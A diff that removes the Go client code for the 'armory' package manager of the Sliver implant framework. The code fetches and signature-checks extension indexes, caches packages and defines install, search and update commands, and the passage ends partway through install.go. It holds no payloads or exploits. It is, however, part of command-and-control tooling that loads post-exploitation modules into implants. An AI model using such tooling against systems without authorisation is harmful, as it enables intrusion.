-	if len(indexes) == 0 {
-		con.PrintInfof("No indexes found\n")
-		return
-	}
-	aliases := []*alias.AliasManifest{}
-	exts := []*extensions.ExtensionManifest{}
-
-	for _, index := range indexes {
-		errorCount := 0
-		con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
-		fetchPackageSignatures(index, clientConfig)
-		pkgCache.Range(func(key, value interface{}) bool {
-			cacheEntry, ok := value.(pkgCacheEntry)
-			if !ok {
-				// Something is wrong with this entry
-				pkgCache.Delete(value)
-				return true
-			}
-			if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
-				return true
-			}
-			if cacheEntry.LastErr != nil {
-				errorCount++
-				if errorCount == 0 {
-					con.Printf("errors!\n")
-				}
-				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
-			} else {
-				if cacheEntry.Pkg.IsAlias {
-					aliases = append(aliases, cacheEntry.Alias)
-				} else {
-					exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
-				}
-			}
-			return true
-		})
-		if errorCount == 0 {
-			con.Printf("done!\n")
-		}
-	}
-	if 0 < len(aliases) || 0 < len(exts) {
-		con.Println()
-		PrintArmoryPackages(aliases, exts, con)
-	} else {
-		con.PrintInfof("No packages found\n")
-	}
-	con.Println()
-	bundles := bundlesInCache()
-	if 0 < len(bundles) {
-		PrintArmoryBundles(bundles, con)
-	} else {
-		con.PrintInfof("No bundles found\n")
-	}
-}
-
-func refresh(clientConfig ArmoryHTTPConfig) {
-	getCurrentArmoryConfiguration()
-	indexes := fetchIndexes(clientConfig)
-	for _, index := range indexes {
-		fetchPackageSignatures(index, clientConfig)
-	}
-}
-
-func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
-	uniqueAliasNames := []string{}
-	uniqueExtensionNames := []string{}
-
-	for _, alias := range aliases {
-		if !slices.Contains(uniqueAliasNames, alias.CommandName) {
-			uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
-		}
-	}
-
-	for _, ext := range exts {
-		for _, cmd := range ext.ExtCommand {
-			if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
-				uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
-			}
-		}
-	}
-
-	return len(uniqueAliasNames), len(uniqueExtensionNames)
-}
-
-func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
-	aliases := []*alias.AliasManifest{}
-	exts := []*extensions.ExtensionManifest{}
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.LastErr == nil {
-			if cacheEntry.Pkg.IsAlias {
-				aliases = append(aliases, cacheEntry.Alias)
-			} else {
-				exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
-			}
-		}
-		return true
-	})
-	return aliases, exts
-}
-
-func armoryLookupByName(name string) *assets.ArmoryConfig {
-	var result *assets.ArmoryConfig
-
-	indexCache.Range(func(key, value interface{}) bool {
-		indexEntry, ok := value.(indexCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if indexEntry.ArmoryConfig.Name == name {
-			result = indexEntry.ArmoryConfig
-			return false
-		}
-		return true
-	})
-
-	return result
-}
-
-// Returns the packages in the cache with a given name
-func packageCacheLookupByName(name string) []*pkgCacheEntry {
-	var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry, ok := value.(pkgCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if cacheEntry.Pkg.Name == name {
-			result = append(result, &cacheEntry)
-		}
-		return true
-	})
-
-	return result
-}
-
-// Returns the packages in the cache for a given command name
-func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
-	var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry, ok := value.(pkgCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if cacheEntry.Pkg.CommandName == commandName {
-			result = append(result, &cacheEntry)
-		}
-		return true
-	})
-
-	return result
-}
-
-// Returns the package in the cache for a given command name and armory
-func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
-	var result *pkgCacheEntry
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry, ok := value.(pkgCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
-			result = &cacheEntry
-			// Stop iterating
-			return false
-		}
-		return true
-	})
-
-	return result
-}
-
-// Returns the package hashes in the cache for a given armory
-func packageHashLookupByArmory(armoryPublicKey string) []string {
-	result := []string{}
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry, ok := value.(pkgCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
-			result = append(result, cacheEntry.ID)
-		}
-		return true
-	})
-
-	return result
-}
-
-func packageCacheLookupByID(packageID string) *pkgCacheEntry {
-	var packageEntry *pkgCacheEntry
-
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry, ok := value.(pkgCacheEntry)
-		if !ok {
-			// Keep going
-			return true
-		}
-		if cacheEntry.LastErr == nil {
-			if cacheEntry.ID == packageID {
-				packageEntry = &cacheEntry
-				// Stop iterating
-				return false
-			}
-		}
-		return true
-	})
-
-	return packageEntry
-}
-
-func bundlesInCache() []*ArmoryBundle {
-	bundles := []*ArmoryBundle{}
-	indexCache.Range(func(key, value interface{}) bool {
-		indexBundles := value.(indexCacheEntry).Index.Bundles
-		bundles = append(bundles, indexBundles...)
-		return true
-	})
-	return bundles
-}
-
-// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
-func AliasExtensionOrBundleCompleter() carapace.Action {
-	comps := func(ctx carapace.Context) carapace.Action {
-		var action carapace.Action
-
-		results := []string{}
-		aliases, exts := packageManifestsInCache()
-		bundles := bundlesInCache()
-
-		for _, aliasPkg := range aliases {
-			results = append(results, aliasPkg.CommandName)
-			results = append(results, aliasPkg.Help)
-		}
-		aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
-		results = make([]string, 0)
-
-		for _, extension := range exts {
-			for _, extensionPkg := range extension.ExtCommand {
-				results = append(results, extensionPkg.CommandName)
-				results = append(results, extensionPkg.Help)
-			}
-		}
-		extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
-		results = make([]string, 0)
-
-		for _, bundle := range bundles {
-			results = append(results, bundle.Name)
-		}
-		bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
-
-		return action.Invoke(ctx).Merge(
-			aliasesComps,
-			extentionComps,
-			bundleComps,
-		).ToA()
-	}
-
-	return carapace.ActionCallback(comps)
-}
-
-// PrintArmoryPackages - Prints the armory packages
-func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) {
-	width, _, err := term.GetSize(0)
-	if err != nil {
-		width = 1
-	}
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Packages" + console.Normal)
-
-	urlMargin := 150 // Extra margin needed to show URL column
-
-	if con.Settings.SmallTermWidth+urlMargin < width {
-		tw.AppendHeader(table.Row{
-			"Armory",
-			"Command Name",
-			"Version",
-			"Type",
-			"Help",
-			"URL",
-		})
-	} else {
-		tw.AppendHeader(table.Row{
-			"Armory",
-			"Command Name",
-			"Version",
-			"Type",
-			"Help",
-		})
-	}
-
-	// Columns start at 1 for some dumb reason
-	tw.SortBy([]table.SortBy{
-		{Number: 2, Mode: table.Asc},
-	})
-
-	type pkgInfo struct {
-		ArmoryName  string
-		CommandName string
-		Version     string
-		Type        string
-		Help        string
-		URL         string
-	}
-	entries := []pkgInfo{}
-
-	for _, aliasPkg := range aliases {
-		entries = append(entries, pkgInfo{
-			ArmoryName:  aliasPkg.ArmoryName,
-			CommandName: aliasPkg.CommandName,
-			Version:     aliasPkg.Version,
-			Type:        "Alias",
-			Help:        aliasPkg.Help,
-			URL:         aliasPkg.RepoURL,
-		})
-	}
-	for _, extm := range exts {
-		for _, extension := range extm.ExtCommand {
-			entries = append(entries, pkgInfo{
-				ArmoryName:  extm.ArmoryName,
-				CommandName: extension.CommandName,
-				Version:     extension.Manifest.Version,
-				Type:        "Extension",
-				Help:        extension.Help,
-				URL:         extension.Manifest.RepoURL,
-			})
-		}
-	}
-
-	sliverMenu := con.App.Menu("implant")
-
-	rows := []table.Row{}
-	for _, pkg := range entries {
-		color := console.Normal
-		if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
-			color = console.Green
-		}
-		if con.Settings.SmallTermWidth+urlMargin < width {
-			rows = append(rows, table.Row{
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
-			})
-		} else {
-			rows = append(rows, table.Row{
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
-			})
-		}
-	}
-	tw.AppendRows(rows)
-	con.Printf("%s\n", tw.Render())
-}
-
-// PrintArmoryBundles - Prints the armory bundles
-func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
-	tw.AppendHeader(table.Row{
-		"Armory Name",
-		"Name",
-		"Contains",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
-	for _, bundle := range bundles {
-		if len(bundle.Packages) < 1 {
-			continue
-		}
-		packages := bundle.Packages[0]
-		if 1 < len(packages) {
-			packages += ", "
-		}
-		for index, pkgName := range bundle.Packages[1:] {
-			if index%5 == 4 {
-				packages += pkgName + "\n"
-			} else {
-				packages += pkgName
-				if index != len(bundle.Packages)-2 {
-					packages += ", "
-				}
-			}
-		}
-		tw.AppendRow(table.Row{
-			bundle.ArmoryName,
-			bundle.Name,
-			packages,
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
-	var proxyURL *url.URL
-	rawProxyURL, _ := cmd.Flags().GetString("proxy")
-	if rawProxyURL != "" {
-		proxyURL, _ = url.Parse(rawProxyURL)
-	}
-
-	timeout := defaultTimeout
-	rawTimeout, _ := cmd.Flags().GetString("timeout")
-	if rawTimeout != "" {
-		var err error
-		timeout, err = time.ParseDuration(rawTimeout)
-		if err != nil {
-			timeout = defaultTimeout
-		}
-	}
-
-	ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
-	disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
-
-	return ArmoryHTTPConfig{
-		IgnoreCache:          ignoreCache,
-		ProxyURL:             proxyURL,
-		Timeout:              timeout,
-		DisableTLSValidation: disableTLSValidation,
-	}
-}
-
-// fetch armory indexes, only returns indexes that were fetched successfully
-// errors are still in the cache objects however and can be checked
-func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
-	wg := &sync.WaitGroup{}
-	// Try to get a max of 10 indexes at a time
-	currentRequests := make(chan struct{}, 10)
-	currentArmories.Range(func(key, value interface{}) bool {
-		armoryEntry := value.(assets.ArmoryConfig)
-		if armoryEntry.Enabled {
-			wg.Add(1)
-			currentRequests <- struct{}{}
-			go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
-		}
-		return true
-	})
-	wg.Wait()
-	indexes := []ArmoryIndex{}
-	indexCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(indexCacheEntry)
-		if cacheEntry.LastErr == nil {
-			indexes = append(indexes, cacheEntry.Index)
-		}
-		return true
-	})
-	return indexes
-}
-
-func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
-	defer wg.Done()
-	defer func() {
-		<-requestChannel
-	}()
-	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
-	if ok {
-		cached := cacheEntry.(indexCacheEntry)
-		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
-			return
-		} else if time.Since(cached.Fetched) >= cacheTime {
-			// If an index has gone stale, remove it from the index cache
-			indexCache.Delete(armoryConfig.PublicKey)
-		}
-	}
-
-	armoryResult := &indexCacheEntry{
-		ArmoryConfig: armoryConfig,
-		RepoURL:      armoryConfig.RepoURL,
-	}
-	defer func() {
-		armoryResult.Fetched = time.Now()
-		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
-	}()
-
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		armoryResult.LastErr = err
-		return
-	}
-	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
-		armoryResult.LastErr = errors.New("invalid repo url scheme in index")
-		return
-	}
-
-	var index *ArmoryIndex
-	if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
-		index, err = indexParser(armoryConfig, clientConfig)
-	} else {
-		index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
-	}
-	if index != nil {
-		armoryResult.Index = *index
-	}
-	if err != nil {
-		armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
-	}
-}
-
-func calculateHashesForIndex(index ArmoryIndex) []string {
-	result := []string{}
-
-	for _, pkg := range index.Aliases {
-		result = append(result, calculatePackageHash(pkg))
-	}
-
-	for _, pkg := range index.Extensions {
-		result = append(result, calculatePackageHash(pkg))
-	}
-
-	return result
-}
-
-func makePackageCacheConsistent(index ArmoryIndex) {
-	packagesToRemove := []string{}
-
-	// Get the packages for the armory out of the cache
-	cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
-	indexHashesForArmory := calculateHashesForIndex(index)
-
-	if len(cacheHashesForArmory) > len(indexHashesForArmory) {
-		// Then there are packages in the cache that do not exist in the armory
-		if len(indexHashesForArmory) == 0 {
-			packagesToRemove = cacheHashesForArmory
-		} else {
-			for _, packageHash := range indexHashesForArmory {
-				if !slices.Contains(cacheHashesForArmory, packageHash) {
-					packagesToRemove = append(packagesToRemove, packageHash)
-				}
-			}
-		}
-	}
-	// The remaining case of there being packages in the armory that do not exist in the cache
-	// will have to be solved with fetchPackageSignatures, and that function calls this one
-	// after fetching signatures and storing them in the cache, so that case should not apply
-
-	for _, packageHash := range packagesToRemove {
-		pkgCache.Delete(packageHash)
-	}
-}
-
-func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
-	wg := &sync.WaitGroup{}
-	// Be kind to armories and limit concurrent requests to 10
-	// This is an arbritrary number and we may have to tweak it if it causes problems
-	currentRequests := make(chan struct{}, 10)
-	for _, armoryPkg := range index.Extensions {
-		wg.Add(1)
-		currentRequests <- struct{}{}
-		armoryPkg.IsAlias = false
-		go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
-	}
-	for _, armoryPkg := range index.Aliases {
-		wg.Add(1)
-		currentRequests <- struct{}{}
-		armoryPkg.IsAlias = true
-		go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
-	}
-	wg.Wait()
-
-	// If packages were deleted from the index, make sure the cache is consistent
-	makePackageCacheConsistent(index)
-}
-
-func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
-	defer wg.Done()
-	defer func() {
-		<-requestChannel
-	}()
-	cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
-	if ok {
-		cached := cacheEntry.(pkgCacheEntry)
-		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
-			return
-		} else if time.Since(cached.Fetched) >= cacheTime {
-			// If a package has gone stale, remove it from the package cache
-			pkgCache.Delete(armoryPkg.ID)
-		}
-	}
-
-	pkgCacheEntry := &pkgCacheEntry{
-		ArmoryConfig: armoryConfig,
-		RepoURL:      armoryPkg.RepoURL,
-		ID:           armoryPkg.ID,
-	}
-	defer func() {
-		pkgCacheEntry.Fetched = time.Now()
-		pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
-	}()
-
-	repoURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
-		return
-	}
-	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
-		pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
-		return
-	}
-
-	var sig *minisign.Signature
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
-	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
-	}
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
-		return
-	}
-	if sig != nil {
-		pkgCacheEntry.Sig = *sig
-	} else {
-		pkgCacheEntry.LastErr = errors.New("nil signature")
-		return
-	}
-	if armoryPkg != nil {
-		pkgCacheEntry.Pkg = *armoryPkg
-	}
-
-	manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
-		return
-	}
-	if armoryPkg.IsAlias {
-		pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
-		pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
-		pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
-	} else {
-		pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
-		pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
-		pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
-	}
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
-	}
-
-}
-
-func clearAllCaches() {
-	currentArmories.Range(func(key, value any) bool {
-		currentArmories.Delete(key)
-		return true
-	})
-	indexCache.Range(func(key, value any) bool {
-		indexCache.Delete(key)
-		return true
-	})
-	pkgCache.Range(func(key, value any) bool {
-		pkgCache.Delete(key)
-		return true
-	})
-}
-
-func getArmoryPublicKey(armoryName string) string {
-	// Find PK for the armory name
-	armoryPK := ""
-	currentArmories.Range(func(key, value any) bool {
-		armoryEntry := value.(assets.ArmoryConfig)
-		if armoryEntry.Name == armoryName {
-			armoryPK = armoryEntry.PublicKey
-			return false
-		}
-		return true
-	})
-
-	return armoryPK
-}

client/command/armory/armory_test.go

@@ -1 +0,0 @@
-package armory

client/command/armory/commands.go

@@ -1,211 +0,0 @@
-package armory
-
-import (
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/completers"
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-)
-
-// Commands returns the `armory` command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	armoryCmd := &cobra.Command{
-		Use:   consts.ArmoryStr,
-		Short: "Automatically download and install extensions/aliases",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ArmoryCmd(cmd, con, args)
-		},
-		GroupID: consts.GenericHelpGroup,
-	}
-	flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) {
-		f.BoolP("insecure", "I", false, "skip tls certificate validation")
-		f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)")
-		f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh")
-		f.StringP("timeout", "t", "15m", "download timeout")
-	})
-	flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) {
-		(*comp)["proxy"] = completers.LocalProxyCompleter()
-	})
-
-	armoryInstallCmd := &cobra.Command{
-		Use:   consts.InstallStr,
-		Short: "Install an alias or extension",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			ArmoryInstallCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
-		f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
-		f.StringP("armory", "a", "", "name of armory to install package from")
-	})
-	armoryCmd.AddCommand(armoryInstallCmd)
-	flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
-		AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
-	)
-
-	armoryUpdateCmd := &cobra.Command{
-		Use:   consts.UpdateStr,
-		Short: "Update installed aliases and extensions",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ArmoryUpdateCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
-		f.StringP("armory", "a", "", "name of armory to get updates from")
-	})
-	armoryCmd.AddCommand(armoryUpdateCmd)
-
-	armorySearchCmd := &cobra.Command{
-		Use:   consts.SearchStr,
-		Short: "Search for aliases and extensions by name (regex)",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			ArmorySearchCmd(cmd, con, args)
-		},
-	}
-	armoryCmd.AddCommand(armorySearchCmd)
-	flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
-
-	armoryInfoCmd := &cobra.Command{
-		Use:   consts.InfoStr,
-		Short: "View configured armories or details about a specific armory or package",
-		Args:  cobra.RangeArgs(0, 1),
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ArmoryInfoCommand(cmd, con, args)
-		},
-	}
-	armoryCmd.AddCommand(armoryInfoCmd)
-	carapace.Gen(armoryInfoCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("armory or package name"),
-	)
-
-	armoryAddCmd := &cobra.Command{
-		Use:   consts.AddStr,
-		Short: "Add a new armory",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
-		Args:  cobra.ExactArgs(1), // the name of the armory
-		Run: func(cmd *cobra.Command, args []string) {
-			AddArmoryCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
-		f.StringP("url", "u", "", "The URL of the armory index (required)")
-		f.StringP("pubkey", "k", "", "The public key for the armory (required)")
-		f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
-		f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
-		f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
-	})
-	armoryAddCmd.MarkFlagRequired("url")
-	armoryAddCmd.MarkFlagRequired("pubkey")
-	carapace.Gen(armoryAddCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("name of the armory"),
-	)
-	armoryCmd.AddCommand(armoryAddCmd)
-
-	armoryRemoveCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove an armory",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
-		Args:  cobra.ExactArgs(1), // the name of the armory
-		Run: func(cmd *cobra.Command, args []string) {
-			RemoveArmoryCmd(cmd, con, args)
-		},
-	}
-	carapace.Gen(armoryAddCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("name of the armory"),
-	)
-	armoryCmd.AddCommand(armoryRemoveCmd)
-
-	armorySaveCmd := &cobra.Command{
-		Use:   consts.SaveStr,
-		Short: "Save the armory configuration to disk",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			SaveArmories(con)
-		},
-	}
-	armoryCmd.AddCommand(armorySaveCmd)
-
-	armoryEnableCmd := &cobra.Command{
-		Use:   consts.EnableStr,
-		Short: "Enable an armory",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
-		Args:  cobra.ExactArgs(1), // The name of the armory
-		Run: func(cmd *cobra.Command, args []string) {
-			ChangeArmoryEnabledState(cmd, con, args, true)
-		},
-	}
-	carapace.Gen(armoryEnableCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("name of the armory"),
-	)
-	armoryCmd.AddCommand(armoryEnableCmd)
-
-	armoryDisableCmd := &cobra.Command{
-		Use:   consts.DisableStr,
-		Short: "Disable an armory",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
-		Args:  cobra.ExactArgs(1), // The name of the armory
-		Run: func(cmd *cobra.Command, args []string) {
-			ChangeArmoryEnabledState(cmd, con, args, false)
-		},
-	}
-	carapace.Gen(armoryDisableCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("name of the armory"),
-	)
-	armoryCmd.AddCommand(armoryDisableCmd)
-
-	armoryModifyCmd := &cobra.Command{
-		Use:   consts.ModifyStr,
-		Short: "Modify an armory configuration",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
-		Args:  cobra.ExactArgs(1), // The name of the armory
-		Run: func(cmd *cobra.Command, args []string) {
-			ModifyArmoryCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", "", "new name for the armory")
-		f.StringP("pubkey", "k", "", "new public key for the armory")
-		f.StringP("url", "u", "", "new URL for the armory")
-		f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
-		f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
-		f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
-	})
-	carapace.Gen(armoryModifyCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("name of the armory"),
-	)
-	armoryCmd.AddCommand(armoryModifyCmd)
-
-	armoryRefreshCmd := &cobra.Command{
-		Use:   consts.RefreshStr,
-		Short: "Refresh armory indexes",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			RefreshArmories(cmd, con)
-		},
-	}
-	armoryCmd.AddCommand(armoryRefreshCmd)
-
-	armoryResetCmd := &cobra.Command{
-		Use:   consts.ResetStr,
-		Short: "Reset armory configuration",
-		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ResetArmoryConfig(cmd, con)
-		},
-	}
-	armoryCmd.AddCommand(armoryResetCmd)
-
-	return []*cobra.Command{armoryCmd}
-}

client/command/armory/install.go

@@ -1,599 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"errors"
-	"fmt"
-	"net/url"
-	"os"
-	"path/filepath"
-	"slices"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/util"
-	"github.com/bishopfox/sliver/util/minisign"
-)
-
-// ErrPackageNotFound - The package was not found
-var ErrPackageNotFound = errors.New("package not found")
-var ErrPackageAlreadyInstalled = errors.New("package is already installed")
-
-const (
-	doNotInstallOption      = "Do not install this package"
-	doNotInstallPackageName = "do not install"
-)
-
-// ArmoryInstallCmd - The armory install command
-func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var promptToOverwrite bool
-	name := args[0]
-	if name == "" {
-		con.PrintErrorf("A package or bundle name is required")
-		return
-	}
-	forceInstallation, err := cmd.Flags().GetBool("force")
-	if err != nil {
-		con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
-		return
-	}
-	if forceInstallation {
-		promptToOverwrite = false
-	} else {
-		promptToOverwrite = true
-	}
-
-	armoryName, err := cmd.Flags().GetString("armory")
-	if err != nil {
-		con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
